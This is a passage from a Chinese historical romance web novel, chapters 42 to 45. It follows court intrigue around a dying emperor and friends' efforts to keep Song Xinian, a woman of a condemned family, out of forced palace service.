霍慎并未与宋昔年对视,只是用修长白皙的手指轻点自己侧边的位子,又说了遍“坐下!”
宋昔年估计霍慎是喝醉了,也不想与他计较,说道:“公子若是喝醉了就少喝点,也可喊人上一碗醒酒汤。”宋昔年屈膝行礼,转身欲走。
霍慎伸手拉住宋昔年,强行把她拉坐在自己身边,在场众人都震惊不已,贺怜怜弹琴的手也是一顿,琴声戛然而止!
在众人吃惊的目光中,霍慎躺在了宋昔年膝盖上,抓起宋昔年的纤纤玉指盖在了自己的眼睛上。
霍慎悠悠开口说道:“太亮了,我不喜欢!”
宋昔年还未从震惊中缓过来时,就又听霍慎说道:“今日为何没有用桃花香粉?那个味道最配你!”
霍慎的话,淹没在了琴声和众人的欢笑声里,但是宋昔年却听得一清二楚。
众人都以为霍慎喝醉了,但只有霍慎自己知道此刻自己有多清醒,霍慎悄悄地扬起了嘴角。
42. 第 42 章
今日是太子第一日正式监国,所以平时都不用上朝的霍慎等官员也参加了朝会。
霍慎踏进金碧辉煌的正殿,看着室内的盘龙金座旁正襟危坐的太子,突然意识到真的是到了新主即位之时了。
太子面容和煦地看着站在底下的诸位大臣,看着他们向自己行礼问安,俯首臣称,自己缓缓出声叫‘起’。
太子说:“如今父皇还在休养中,所以推了我出来处理朝务,然我年纪轻经验恐怕不足,还需诸位贤臣良将配合!”
台下众人:“臣等自当尽力!”
退朝之后,霍慎走出大殿,抬头突然看见一缕阳光透过厚厚的云层照射而出,他下意识地遮住了眼睛。这是,他的肩膀突然被人拍了一下,他转头一看,是状元梁亮。
梁亮说:“你就这么怕光?那怪你昨晚会对那个女婢那样,是不是想成婚了?”
霍慎在他的提醒下,突然忆起昨晚的情形,他居然躺在宋昔年的膝盖上睡着了。周围的人谈笑风生,他却充耳不闻,他那刻只能感受到宋昔年手掌的温度和那萦绕在他鼻间的淡淡女儿香,这一切都让他感觉无比平静安心。
思绪回转间,霍慎说:“你胡说,我可能是病体未愈且我昨儿喝得有点多,所以才会......”
梁亮说:“哈哈哈,你说如何就如何吧!不过你朝天上看什么呢?难道还会掉金子不成?”
霍慎说:“我在看,这天何时变?”
梁亮被说得一头雾水,说道:“这天气不是好得很嘛,没有要变的迹象啊!”
霍慎说:“也有可能只是暴风雨前的片刻宁静呢,这谁又能说得准?”
梁亮不是笨人,很快意识到了霍慎此话真正含义,他欲言又止时,霍慎却匆匆走远了。
霍慎回到翰林院迅速处理完手上的事务,便向他的直属上官朱大人请示自己想早走。
霍慎说:“朱大人,下官的事务已经全部整理完毕,您可还有别的吩咐?”
朱大人说:“这么快啊,近来几日都无太多事务,那你就歇歇吧。”
霍慎躬身行礼,说道:“既无事,那下官可否先行一步?”
朱大人关心他,问道:“可是身子还未痊愈,那你就先回去休息吧。”
霍慎说:“多谢大人体恤,那下官就先行告退了!”
朱大人这么做也是想多卖霍慎人情,毕竟霍慎的祖父是帝师,将来说不定地位还能再往上爬一爬。
霍慎回到家中,立即对阿无说道:“你去忠静侯府去把小侯爷请来,就说我有要事找他,请他务必前来。”
阿无面露难色,说道:“公子和小侯爷如今势如水火,只怕不一定能成功。”
霍慎突然看了坐在书房角落的宋诺,说道:“若是他执意不来,你就问他宋诺在霍家多时,为何小侯爷一次都不曾来探望?”
阿无不敢耽误,立马去传话,
宋诺这时抬头看向霍慎,问道:“这时候,北境是不是比我们这里还冷?”
霍慎说:“北境的天气确实要比我们这里恶劣很多,但是之前,你不是也知道了,我已经托顾家人对你父亲他们多加照拂了,而且我早就准备了冬衣托顾家人带给他们了,想必他们能扛过寒冬的。”
宋诺说:“希望如此吧!”宋诺情绪不是很好的样子。
霍慎说:“我听阿无说,你最近的武艺有很大的进步?你是将来打算从军?”
宋诺说:“可能吧!
许久,传来了王靖宇讥讽的声音。
王靖宇大步踏进霍慎书房,说道:“没想到你霍慎也有主动找我的时候啊,你以前的清高自傲的劲儿呢?”
霍慎不理会他的讥讽,只问他:“我这只有竹叶青,你喝得惯吗?”
王靖宇说:“我记得你以前不是喝这个的,现在怎么变了口味,这茶不是卿云爱喝的嘛,你不会对她还贼心不死吧?”
霍慎不承认也不否认,只是安静地喝着茶,王靖宇看到他这样就来气,准备告辞却被宋诺叫住。
宋诺说:“元安叔!”
王靖宇闻声回头,瞧见自己远处站着一个小男孩,他冲上前一把抱起男孩,掂了掂重量。
王靖宇说:“嗯,瞧着这重量没有变轻,就是皮肤变黑了些,不如从前白净了,但是男孩也不需要太白净,你说事吧。”
霍慎说:“行了,亲热完了,我还有正事找你,阿无你先带阿诺出去吧。”
王靖宇放下宋诺,摸了摸他的头,说道:“我今天可带了不少好东西给你,你让长寿带你去看吧!”
等书房里只剩他们二人时,王靖宇落座于椅子上,问道:“说吧,利用宋诺把我诓来见你一面究竟是为何啊?”王靖宇的手指敲击着椅子的扶手。
霍慎说:“今日是太子殿下第一次以监国的名义上朝!”
王靖宇语气轻快地问道:“所以呢?”王靖宇端起面前的茶杯喝了一口。
霍慎说:“我观察殿下的神色太过镇定了。”
王靖宇说:“呦,你眼神这么好呢,以你现在的官职,只能站在大殿末尾吧,你还能看清我表哥脸上的神情?再说了他是太子,未来的君王,镇定一点不应该吗?”
霍慎说:“具有君王气质是没什么不对,但太过游刃有余未免叫人心神不安,往往悄无声息的才是最可怕的。”
王靖宇环视霍慎书房,感叹道:“你的书房还真是和你的人一样冷冰冰,死气沉沉的。”
霍慎的书房都是黑色的漆木,书房不焚香也不摆绿植,没有一件像样的摆件,是有一扇屏风还不错,但是位置却摆错了,毫无美感可言。
霍慎冷淡地说:“我请你来不是为了评论我书房的陈设布置的,你到底有没有在认真听我说话?”
王靖宇摆摆手,说道:“放心吧,此事牵扯不到你,更不会牵扯到霍家的。”
霍慎闻言说道:“这么说真的是你在背后给太子出谋划策?”
王靖宇说:“你还真是抬举我,我可没你那么深的心计,只是和表哥说了一些事,谈不上出谋划策。”
霍慎看着王靖宇,王靖宇歪头笑道:“想知道?”
霍慎转头端起瓷杯,说道:“
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算了,既然你说了与霍家无关,那我也不一定非要知道。”
王靖宇瞬间鄙视霍慎,说道:“切~,你在坚持一下说不定我就说了呢?”
霍慎嘴角带笑,说道:“我已经得到我想要的答案了,其他的就不重要了。”
王靖宇说:“你不想知道,我偏要和你说。”
上朝前的一个时辰
天色尚早,晨曦的露水打湿了悠长的宫道。王靖宇大清早顶着寒风,快速地奔走在皇宫的宫道上,脚下打滑许多次也不曾减速,就是为了早些见到自己的太子表哥。
王靖宇赶到太子的东宫时,太子宫中早就灯火通明,亮如白昼,今日太子早早起身,此时正在梳洗。
王靖宇见到太子,立即就说:“表哥,表哥,我查到了!”都还没等太子屏退左右,因此王靖宇吃了太子的一记眼刀。
太子示意领头太监带着宫人们出去,开口对王靖宇说:“何故如此心急,失了你的身份!”
王靖宇说:“呵呵呵,我一时太过兴奋,忘了还有旁人在了,表哥恕罪!”王靖宇行礼赔罪。
太子整理衣冠安坐于桌前用早饭,说道:“这么早,你一定还没吃早饭,不如和我一道吃点吧,咱们边吃边说。”太子叫人添了副碗碟。
王靖宇说:“现在吃不吃的倒是其次,我叫人旁敲侧击,威逼利诱,终于得知京城最大的赌坊‘永泰’赌坊是走漏宫里消息的源头。”
太子放下筷子,若有所思地说道:“赌坊!可知老板是谁?”
王靖宇艰难咽下口中食物,说道:“是一个小平头百姓,但是就算隐藏得再好,还是被我发现这老板有个干娘,这老太太有一亲子,正是太医院陆太医。”
太子说:“太医院的话倒是有几分可信了,但是这陆太医进宫不过三年,若是说他是幕后之人,未免太牵强了点。”
王靖宇说:“我也觉得奇怪但是线索查到这就断了,我就立即向表哥禀报,顺便想讨个主意回去。”
太子说道:“如果背后还有人,他们肯定不会彻底断了联系的,你派人继续盯着就是,反正也不急,我们还有些时间。”
霍慎听了王靖宇讲述全过程,思考之后,说道:“难道太子朝会时是在观察底的人?”
王靖宇不解,问道:“这是何意?”
霍慎说:“以静制动,‘姜太公钓鱼,愿者上钩’而已。看来以后等我们这位太子爷荣登大宝,我们这些做臣子的更是要小心伺候了。真是应了那句伴君如伴虎,不得出半点岔子了。”
王靖宇说:“你别想以后了,你先说说我现在该如何做吧!”
霍慎说:“从这断了也未必不是好事,至少说明背后之人足够谨慎,恰好说明那人舍不得现在所拥有的一切,才会谨慎小心,因为一切得来不易。”
王靖宇说:“你是说背后之人官职很高?那就是说......”
这时阿无在门外敲门。说道:“公子,刚才宫里来人把老爷请进宫了!”
霍慎闻言,心想:“祖父这时候被传召进宫,是宫里发生了什么变故吗?”
43. 第 43 章
王靖宇说:“既然帝师被宣进宫,那就说明帝师必然在其中有着重要作用,勤之,你不介意我多留一会儿,在此等消息吧!”王靖宇皱眉看向霍慎。
霍慎说:“小侯爷,过门就是客,霍家从不会赶客的,小侯爷安坐就是。”
得了霍慎回答,王靖宇的眉头舒缓许多,开口说道:“那我出去看看宋诺,若是有消息了,我也好告知于你。”
霍慎笑了笑,无奈摇头,说道:“何必逞强!”
王靖宇此刻内心无比慌乱,他只有做些别的事来分散自己注意力,所以他外出找宋诺,可他打开门,看见宋诺只是坐在书房门口发呆,自己却愣在了原地。
年关将近,风大天寒,宋诺穿着深灰色的夹袄,双手托腮,目不转睛地盯着院子出口,丝毫不在意寒风把他的小脸吹得皴裂。
王靖宇出声问他:“我们的小少爷,在想什么,想得如此入迷?”
宋诺回头看着他说:“叔,你说我家究竟做错了什么,要到何时才能一家团聚?”
王靖宇却被他问住了,不知如何回答,宋诺没有得到回应,只能继续发呆陷入沉思,无人知晓他究竟在思考什么。
王靖宇陪他坐在台阶处,问他:“我带的礼物,你可看了,可还中意?”
宋诺点头,说道:“看了,看了东西都很好,只是我现在不太需要。”
王靖宇疑惑地问:“这些可都是你从前最喜欢的玩具,我还特意叫人寻来了一把木剑,听说是上好的檀木做的,保证你怎么使都不会坏的,你可看见了?”
宋诺说:“我现在只和师父学到了拳法,等学到了兵器,我会好好用的。”
一大一小就这么安静地坐在台阶上,望着小院出口,各自都有要等的人和事,他们也清楚地知道自己现在唯一能做的就是等待。
不知过了多久,王靖宇终于扛不住冷风的摧残,准备带着宋诺回屋去等时,阿无从前院回来了。
阿无说:“公子,老爷回来了,请公子速去前厅!”
霍慎起身朝外走,在书房外碰见王靖宇说:“小侯爷,可和我一起去前厅?”
王靖宇嬉皮笑脸地说:“自然是要去的!”
阿无悄悄说:“进去等,别让炭盆灭了,公子待会儿还要回来的。”阿无跟在他们身后,转头朝宋诺眨眼,推他进书房。
二人来到霍家前厅,霍岩在厅里负手踱步,直到霍慎给他行礼,他才站定,瞧见与霍慎一同前来的王靖宇。
霍岩向王靖宇行礼之后,客气问道:“小侯爷,何时来的,老夫有失远迎,真是失礼!”
王靖宇亲自扶起霍岩,说道:“原是勤之相邀,顾过府一叙,忽听闻帝师被传唤入宫,我实在好奇就留下来想等消息,帝师不会怪罪我不请自来吧?”
霍岩面带笑容说道:“小侯爷,本是圣上内侄,说起来也是自家事,既然小侯爷想知道也无不可,只不外传便好!”霍岩引着王靖宇上坐。
霍岩环视厅内,该到场的嫡长孙霍恒和踏入官场的霍慎都已在厅中,便吩咐仆人们退下,说道:“你们都退下吧,守好厅门,不许人再来随意打扰。”
待无关人等都离开时候,大厅里的四个男人,陷入了诡异的寂静之后,相看而无言,最后都默契地将目光投向霍岩。
霍岩被盯得尴尬。假咳一声,强装镇定地说:“现下既然没有外人在了,那我就直言不讳了。皇上今日急召老夫入宫,是自知自己时日无多,有临终托孤之意!”
其余三人都有心理准备,但没想到皇帝这么早就开始安排了,毕竟今早太子才第一次主持朝会。
王靖宇说:“怎么会这么快,之前太医还说姑父寿命长达一年之后,如今怎么突然托孤?太医可说了什么?”
霍岩说:“我去时,太医并未在旁,是皇后娘娘亲口与老夫说圣上寿命不足半年,所以才需早做打算,唯恐措手不及。”
霍慎说:“不足半年?也就是说最多熬不过来年春天。那从现在开始就要提前为太子准备齐整了。”
霍恒说:“这龙驭宾天自古都是一国最弱之时,应该首先提防内忧外患,以免让不法之徒有机可乘。”
霍岩说:“所以说皇上需要我,从旁辅助太子,助他认清贤臣良将,以最快时间稳住朝堂。”
霍慎说:“若新帝登基。祖父算得上是三朝元老了,这个嘱托的确只有祖父才能不出差错地完成。”
霍恒担忧地说:“可是祖父,已阔别朝堂五载有余,如今贸然回去会不会引起朝中之人的非议和不满啊?”
霍岩安慰他,说道:“事急从权,临危受命。我只是从旁提建议,告知太子一些官员们的脾气秉性而已,怎么用人还是太子自己说了算。”
王靖宇在一旁仔细听着,突然想到一事,猛然起身行礼告辞,把在场众人吓得不轻。
王靖宇走到前厅大门处,忽然折返,拉住霍慎的手,二话不说强行拖走。
瞧见厅外等候的两个小厮,对他们说道:“长寿,你去永平侯府接上逢恩,阿无你速去准备马车。”
长寿说:“小侯爷,我要把世子带往何处?”
王靖宇说:“自然是乐章台啊,蠢材!”
霍慎刚想挣扎,王靖宇又说:“事到如今,怕是要坏事,还请勤之相助!”王靖宇拉着霍慎朝门外走去。
霍慎觉得王靖宇有些没头没脑,便问道:“你什么意思?”
王靖宇说:“此事说来话长,待上了马车,我自会一一说明,这里不是说话的地方。”
霍慎只有作罢,二人在等车驾,王靖宇却心急如焚。
霍慎觉得他好笑,便笑出声来。
王靖宇有些恼,说道:“现在你尽可笑个痛快,等我向你说明事情原委看你还笑不笑得出?”
说话间,马车停在了门前,霍慎屏退马夫,只留阿无一人驾车。
上了马车,霍慎就问他:“究竟是何事,让你如此心急如焚?”
王靖宇说:“我本想着要若我姑父,还有一年宾天,我可慢慢筹划让卿云进宫,但是如今最多还有半年,怕是一切都来不及了。”
霍慎说:“什么进宫?你到底做了什么?”
王靖宇说:“之前卿云和我说宋伯父是被陷害的,我们就想着筹划妥当就送卿云入宫,找机会向表哥陈情,
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或是进宫找机会博一份贵人恩赏,将来也好以平民身份出宫,可如今若是我姑父早早撒手人寰,我表哥内忧未除,怎么会有心情听卿云陈情,但如今她的户籍还在教坊司,若是那边突然要人卿云势必是要进宫的。”
霍慎被他越说越糊涂,问道:“今年教坊司的宫女选拔不是早就过了吗?”
王靖宇越想越烦躁,说道:“你不知道,因内务府贪图进宫的人给的好处,就在册封太子那年多弄了些人进宫。本也没什么,但那些进宫的宫女年龄都是相近的,所以到了放出的年纪,必然是全走了,这就留下了很大的隐患。”
霍慎嗤笑着说:“因着都想近水楼台,所以进宫想得了太子的垂青,从此山鸡变凤凰?”
王靖宇说:“人往高处走,水往低处流,这也是人之常情嘛!只怪那贪心总管没把控好分寸,加上我姑父这事实在叫人猝不及防,才酿成如今的局面。”
霍慎很不赞同王靖宇的话,激烈反驳道:“照你这么说,天下那些痴心妄想不走正途的人,都没错,只是天意弄人?”
王靖宇说:“什么啊,这分明是两码事,怎么能混为一谈呢!再说了我表哥本就是这天下最尊贵的男子,惹万千女子倾慕也是常事。再说了我表哥的好几个庶妃的确都是宫女上位,这是有人成功过的,才会有人前赴后继。”
霍慎说:“我不同你扯这些,你现在是什么想法?”
王靖宇泄气地说:“我就是毫无头绪,才要大家一起群策群力啊。若放着不管卿云一定会进宫苦熬的,而且照如今这趋势,只怕就连宋家大嫂嫂也要进宫的。进了宫我就不好时常照看了,且新帝登基大赦之后,就要为先帝守孝三年,这三年是不许宫女晋升有喜事的。”
霍慎说:“那就是说最少要苦熬三年?”
王靖宇说:“这还不是最可怕的,最可怕的是新进宫的宫女,都是要从最苦的活做起,最是磋磨人的,每年都有宫女熬不住,自戕死在宫里。你说万一.......”
霍慎突然呵止,说道:“闭嘴!”
王靖宇央求说道:“你快想想看有没有什么两全的法子,既不用卿云吃苦受罪,也能助她脱了罪籍。”
霍慎说:“你怕不是在做梦,如今能设法让她不进宫,便是最好结果了,你还想两全?除非你自己做了皇帝,直接赦免宋家的罪!”
王靖宇说:“如今真到穷途末路时了?”
霍慎说:“谁叫你们私自决定,如今反倒来问我?”
王靖宇说:“谁叫你整天一副冷傲的模样,始终不肯低头,你若是早早地向卿云悔过认错,其实她是最好哄的,到时不就是任你怎么安排了。”
霍慎嘴硬说:“我有什么可悔的,是她自己一声不吭进的乐章台,执拗得要死才对!”
阿无停车,王靖宇不想争辩,准备下车,却在掀开车帘那一刹那,看见了皇帝身边的贴身内侍进了乐章台,他又悄悄退回车内。
霍慎要开口,他立马捂住了霍慎的嘴。悄悄附耳对他说:“我看见了姑父贴身的黄内侍进了乐章台!”
霍慎瞪大双眼,心想:“皇帝最信得过的人,怎会到此处来?”
44. 第 44 章
王靖宇重新撩开车帘,准备吩咐阿无悄悄地走,却被霍慎抓住胳膊扯会车内。
王靖宇不可置信地转头看向霍慎,眼神里充满疑惑,压低声音问道:“你是什么意思?”
霍慎说:“不用这么鬼鬼祟祟的,这会儿人早就进去了,你说什么他听不见的。”
王靖宇想了想觉得有理,想起自己刚才的傻样,觉得有些丢脸,所以坐在车里整理起了刚被霍慎扯乱的袖子,假装不经意地开口问道:“现在我们还进去吗?”
霍慎说:“进不进都可,只要贸然离开就行!”
王靖宇说:“为何不能走,既然不进去,还在这里等什么?”
霍慎好心提醒他,说道:“你不是叫长寿去接人了吗?自然是等蒋世子?”
王靖宇用手轻拍额头,说道:“我和你说话,都把逢恩给忘了!”王靖宇一脸懊悔。
二人在马车里,干坐了一会儿,王靖宇实在按捺不住,还是准备下车。
霍慎闭着眼假寐,说道:“若不想引人怀疑,我劝你还是在车里等到人来了,乐章台正式迎客之后再进去!”
王靖宇烦躁地说:“那还有的好等呢!”
霍慎唇角带笑缓缓睁眼,说道:“你现在下去,很难不让人怀疑,你是否提前收到了消息!况且,黄内侍还没走,若是此时你进去,恰好遇上他你该如何?你的身份很难让你相信你没有收到消息。况且你和宋昔年走得太近了,很明显你就是来找她的,帝王重病垂危,你却来给一个被贬罪人通风报信,这说得过去吗?”
王靖宇神情凝重地说:“那我们长时间把马车停在这许久,难道就不引人怀疑?”
霍慎说:“所以等会儿蒋世子来了,你必须把他强行拖进乐章台,越激烈越好。”
王靖宇深吸一口气,对马车外的阿无说:“阿无,你在外面给我盯紧了,若是长寿一来你就马上告诉我。”
阿无恭敬地说:“小侯爷放心,小的明白!”
霍慎瞧他这副严肃模样,心情突然很好,开口打趣道:“谁叫你急匆匆跑来的,如今还不是要在车里等。”
王靖宇看着霍慎轻松自在的样子,突然无名火从心中起,对着他低吼道:“你就一点不着急?若是真的无力回天,我看你后不后悔,真是冷情冷性的可恶家伙!”
霍慎无奈地说:“事已至此,最重要的是解决问题,急只会让人冲昏头脑,没有半点好处。”
王靖宇不甘心地说道:“真想亲眼瞧瞧,将来你恼怒时方寸大乱的样子。”
突然外面传来了一阵马匹鸣叫声,阿无探头进入马车,说道:“是长寿来了。”
王靖宇精神振奋,三两步冲下马车,钻进了后面的马车里。不一会儿,马车里传来二人的声音,王靖宇强拉着蒋明下了马车。
霍慎早就靠在马车边等他们了,王靖宇拖着蒋明,站在乐章台的门口。
王靖宇随口问乐章台门口的守门仆,说道:“你们可开台了?”
那仆人说:“离正式开台还有半个时辰,若小侯爷想提前进,也是可以的。”守门仆认得王靖宇,谄媚讨好地把人往里迎。
蒋明此刻假意挣扎,满脸抗拒地说:“我告诉你,我不会进去的,你自去你的,何必又拖上我?”
王靖宇拖着他,一脸狡黠地说:“你之前又不是没有来过,怕什么,再说你拗得过我吗?不如就此从了我,对你也没坏处不是!”
此话一出,蒋明活似是被强逼着来卖身的姑娘,引得守门的仆人低头窃笑,等二人走远他们才敢笑出声。
王靖宇要了二楼雅间,三人有说有笑进入雅间时,刚好黄内侍从三楼下来,做了多年帝王近侍的他,习惯性地会观察四周,尤其是处于高处便于观察时,于是他就简单地扫视了一眼,突然他一眼就看见,正在强推着人进雅间的王靖宇的。黄内侍转头就想找地方躲,可是他带头走在前面,显然无处可躲。于是他迅速推开身后侍从,毫不犹豫地向楼上跑去,身后侍从不知所措,也只好跟着他又返回杜妈妈的房间。
杜妈妈见黄内侍去而复返,端着茶杯的手一顿,放下茶杯的瞬间,调整好情绪,看不出岁月痕迹的脸上又挂起了浅浅的笑容,说道:“你不是走了吗?怎的又折回来了,可是舍不得我这里的好茶?”
黄内侍悄悄地往楼下看一眼,发现之前那个雅间的门已经关上,门外并无看守的仆人,这才定心,轻抚胸口,长舒口气,转身看向杜妈妈。
黄内侍说:“你猜我刚瞧见了谁?”
杜妈妈配合地问:“谁啊?”一脸事不关己,甚至还有三分嫌弃地看向站在不远处的老熟人。
黄内侍说:“王家小侯爷!可把我吓得不轻。”黄内侍似乎还没摆脱惊吓。
杜妈妈邪魅一笑,说道:“这位爷,今日怎么这么早就来了?”
黄内侍仔细观察杜妈妈脸上的表情,试探地问道:“小侯爷常来?”
杜妈妈突然拿起放在手边的巾帕,捂嘴大笑,说道:“哈哈哈,我的好哥哥,你不会不知道这位爷,在京城的名号吧,他要是那日不踏足这里了才是稀奇事!”杜妈妈笑得好不畅快。
可是黄内侍还是心存疑虑,低声自言自语说道:“怎会这么巧,偏是今日?”
杜妈妈阴阳怪气地说道:“要不你亲自去问问他?”
黄内侍有些不快地说:“你休得和我嬉皮笑脸,你该知道若是走漏了消息,你我都没好果子吃!”黄内侍语气阴柔,丝毫没有半点气势。
杜妈妈懒懒地说:“放心,这不是马上要过年了嘛,想必是给宋家那丫头送银子来了!他和那丫头关系一向亲近。再说小侯爷又不是外人,将来只怕地位不会低。”
黄内侍也不想自己吓自己,便缓和语气说道:“阿香,你再等等,很快你就能自由了,但在此之前,你必须要找一个合适的人,否则你的心愿终究是泡影。”
杜妈妈时隔多年再次听到这
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个名字,有些错愕,但瞬间回神,反驳道:“现在人人都叫我杜妈妈,黄内侍还是不要叫错的好!”语气冰冷无比,毫无感情可言。
黄内侍知道她是恼了,说道:“行了,你也别恼,哥哥我也是好心提醒你,我瞧着下面也没动静了,我就先走了。”
杜妈妈戏谑地问:“这次可是真的要走?”杜妈妈扶鬓抬眼看着黄内侍。
黄内侍没好气地说:“我若再不走,只怕你要赶客了,我还是识相些的好。对了,宋家女眷你真打算放走?”
杜妈妈嗤笑:“怎的?上头发话了?要她们的命?”杜妈妈装作闲聊满不在乎地问。
黄内侍:“那倒是没有,只不过宋家的事才过去没多久,这只怕是皇上最后一桩亲自判罚的案子了,所以不好让宋家人太受照顾。”
杜妈妈端起茶杯,轻抿茶水,看向窗外皇宫的方向,缓缓开口,说道:“我虽允诺她可自赎,但想必她一时半会儿,拿不出这么多钱的,那干脆顺势让她入宫,不是更好?”
黄内侍叹气,说道:“顺其自然吧,能怎么样就看她一家子的造化了!”黄内侍离开了乐章台。
杜妈妈看了房门处许久,眼神从茫然转为愤恨最后化为阴鸷。
与三楼的压抑气氛相比,二楼雅间的气氛显然欢快了许多,王靖宇吩咐长寿去请贺怜怜,他自己在雅间里捧腹大笑,笑的自己腹痛,也感染了原本正襟危坐的二人。
王靖宇险些笑岔了气,缓了好一会儿,才开口说道:“逢恩啊,你怎么会演得如此逼真,活似被迫的小媳妇,我真是对你佩服不已啊。”
蒋明说:“你还说我,你自己也表现得相当不错的,很符合你纨绔的形象!”
王靖宇骄傲地说:“那是自然,这种戏码我最拿手了。”
霍慎说:“行了,还是说正事吧,还真当是来享乐的不成?”
王靖宇说:“不急的,主角还没来,我们再等等。”
说着房门被直接推开,宋昔年说:“你们在聊什么,笑得如此开心?我老远就听见你们的笑声了。”
王靖宇指着宋昔年说:“你瞧说曹操,曹操就到了!”
宋昔年说:“怜姐姐正在梳妆,等上台表演完就来,你时间也不多,有什么事赶快说吧。”
蒋明说:“此事非同小可,阿年,你还是耐心坐下来,我们慢慢商议吧。”
王靖宇收起笑脸,严肃地说道:“对啊,你没瞧见,今日我们三人一道来寻你了吗?就算有天大的事,你也要先放下,先紧着我们这边。”
霍慎一言不发地看着站在的宋昔年,王靖宇拼命朝霍慎使眼色,霍慎始终视而不见。
宋昔年说:“那你们等我陪着怜姐姐表演完了再来慢慢谈吧,我先去了。”
霍慎这时才肯开口:“你为何总是这般执拗?”
宋昔年停住脚步,回头看着霍慎,说道:“彼此彼此吧!”她第一次对霍慎露出不屑的微笑。
45. 第 45 章
宋昔年走后,独留三人苦苦等待,看着台下翩翩起舞的贺怜怜和台下那些为她拼命鼓掌叫好的男人们,他们都觉得很不真实,就像乐章台晚上的满室浮华和白天的惨淡凄凉形成了强烈的对比。一时的美好终究掩盖不住一世凄苦的残忍事实。
楼下一曲舞毕,贺怜怜优雅下台,可总有几个贼心不死地想要借机和她多亲近,却被宋昔年无情阻拦。每次都会引来那些男人的羞辱责骂,宋昔年早就习惯了,现在完全可以做到充耳不闻,带着贺怜怜顺利脱困,但在霍慎眼里就完全不同了。
二人顺利来到雅间,刚推门进入就发现气氛很不对,蒋明脸上是同情,王靖宇脸上是无奈,霍慎脸上是毫不掩饰的愤怒。
宋昔年淡定坐下,说道:“要说什么,现在说吧!今晚是我替怜姐姐守夜,所以时间还是很紧的。”
贺怜怜扫了一眼屋内众人,准备退出屋内。
宋昔年说:“姐姐也留下来听一听吧,姐姐不是想进宫做宫伎,说不定我们到时候还能一道进宫呢!”
霍慎收拾情绪,说道:“我们今日来就是不想你在进宫的。”
宋昔年不语。
王靖宇见状,迅速接话,说道:“现在宫里出了些状况,我们都觉得现在进宫,不是最好的选择,所以计划有变,找你商量下。”王靖宇一边说,一边看着宋昔年的脸色。
宋昔年说:“状况?出了什么事?”
王靖宇纠结许久,最后还是一咬牙,说道:“我姑父最多还有半年寿命了。”说完眼里带着淡淡忧伤。
蒋明作思考状,说道:“最多不过半年,也就是说,也有可能是一个月,三个月,甚至再坏一点是随时都有可能?”
王靖宇气愤说道:“你不能说点好的?那好歹是我姑父,对我一直很不错的!”王靖宇瞪眼看着蒋明,随手拿起桌上的糕点砸向他。
蒋明说:“我只是客观分析,别无他意的。”
宋昔年不解说:“这和我进宫又有什么关系?”
一句话把在场的人问得哑口无言,事实就是,这一突发状况确实不影响宋昔年进宫,反而加快了她进宫的速度。
霍慎在一旁看着其他人找理由相劝她,自己突然觉得很好笑,他们这些无关人员心急如焚宋昔年这个正主却在这慢条斯理地喝茶。
霍慎终于忍不住开口问道:“你为何一定要进宫?”
宋昔年语气轻快地说:“不进宫,难道我要在这乐章台待一辈子?还是你希望我转了贱籍做官妓?”
宋昔年转头挑眉看着霍慎,眼神里七分挑衅,两分探究还有一分失落,她的眼神转换被霍慎尽收眼底,二人眼神交汇,霍慎觉得这复杂的眼神里,唯独少了昔日她对自己炙热的爱意。
霍慎低头苦笑,隐去那心头苦涩,抬头时便说:“你知道这次进宫,实际上是强制进宫,并非你们以为的顺势而为。”
贺怜怜说:“这里面有何区别,不一样都是进宫,这样不知不觉地岂不更好?”
霍慎说:“此次是宫里大量缺人,才会把她们这些未经选拔的官奴也纳入其中,也就是宋家其他女眷也会被强制收纳的。”
宋昔年一下子眼神飘忽不定,在思考霍慎这番话的真伪,之前的不在乎已经消失了,剩下的只有不敢置信和瞬间的彷徨。
宋昔年说:“永平侯不是说会帮忙找齐缺失的人口吗?说不定到时用不上我娘她们的。”
宋昔年自我安慰,没人附和她这可笑的说法。
蒋明说:“如果真是强制收纳,那首当其冲的就是你们这些身有罪籍的官奴。”
王靖宇见宋昔年脸色不对,便开口安慰道:“卿云别怕,只要设法不进宫,一切必然可以迎刃而解了。”
宋昔年欲言又止,最终还是泄气般没有吐露半个字。
霍慎见她妥协,稍稍安心。
霍慎说道:“当务之急是怎么样才能不出现在入宫名单里,只要不出现在名单中,就不会进宫了。”
蒋明说:“阿年的户籍在教坊司,只要户籍不归属教坊司,教坊司就无权干涉人的去留了。”
王靖宇叹气,说道:“难道真要看着卿云转籍做了官妓?”
蒋明说:“就算她可转籍,难道宋伯母和嫂子也要一同转码?这显然是行不通的!”
宋昔年沉思许久,说道:“其实杜妈妈之前允诺我可以自赎的,但是一人需要五万两白银。”
王靖宇忽然起立,说道:“什么!五万两,那三人不是要十五万两。”
蒋明说:“就算如此,短时间内,我们也凑不齐,这么多钱啊!”
宋昔年说:“是啊,我之所以没有拒绝你们为我争取生意分成,就是想以这种方式,徐徐图之,攒钱自赎,作为备选,可是没想到计划赶不上变化。”
霍慎说:“其实也不是完全没有办法,只看你愿不愿意了!”
宋昔年期待地看着霍慎,说道:“什么办法,只要能不让母亲她们入宫,我自然是没什么不愿意的。”
霍慎眼睛放光地看着宋昔年,想要从她的表情看出她话里的真伪。
宋昔年的手,紧紧地抓住衣角,紧抿嘴唇,很是期待霍慎能说出救她一家的办法。
霍慎勾起唇角,眼神略带侵略性地看着宋昔年,说道:“很简单,你明日转了贱籍做了挂牌官妓,我替你赎身娶你进门,届时就可以亲属关系为由把你母亲和嫂子一并带走。”
此话一出震惊了在场所有人,大家表情各异地看着霍慎,只有他自己面带微笑地再等宋昔年的回答。
宋昔年声音有些颤抖地问道:“娶我做妾吗?”
霍慎收起笑容,严肃地说道:“你该明白的,以你官妓的身份,只能做妾!”
宋昔年明显呼吸急促,几度张口想要说话,却不得出声,她靠攥紧双手,指甲嵌入掌心带来的痛感才勉强保持理智。
宋昔年问:“那~那你当初为何拒了纳我为妾?当初传圣旨的公公可是说了,我做了霍家的妾就能婚礼继续的。”
问出这句话,宋昔年仿佛被抽干了身体的所有力
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气,低头双手撑地,快速呼吸。
霍慎面带微笑却眼含愧疚地说:“当时不是好时机,若是你还信我,就照我说的做。我们必须在龙驭宾天成婚,带你们出乐章台。”
宋昔年说:“你让我想想吧,我还要和我娘她们商量一下,你们今天都先回去吧!”
宋昔年此刻不知如何面对他们所有人,只能下了逐客令。
事发突然,在场的人都被吓得不轻,更别说宋昔年本人了。所以他们都识相地离去了,只有贺怜怜陪着她。
贺怜怜靠近宋昔年,帮她倒了杯茶,想让她喝了好缓一缓。宋昔年却摇头表示自己不想喝茶。贺怜怜也只能作罢,最后也只是帮她把有些乱了的额前碎发拨开别在耳后。
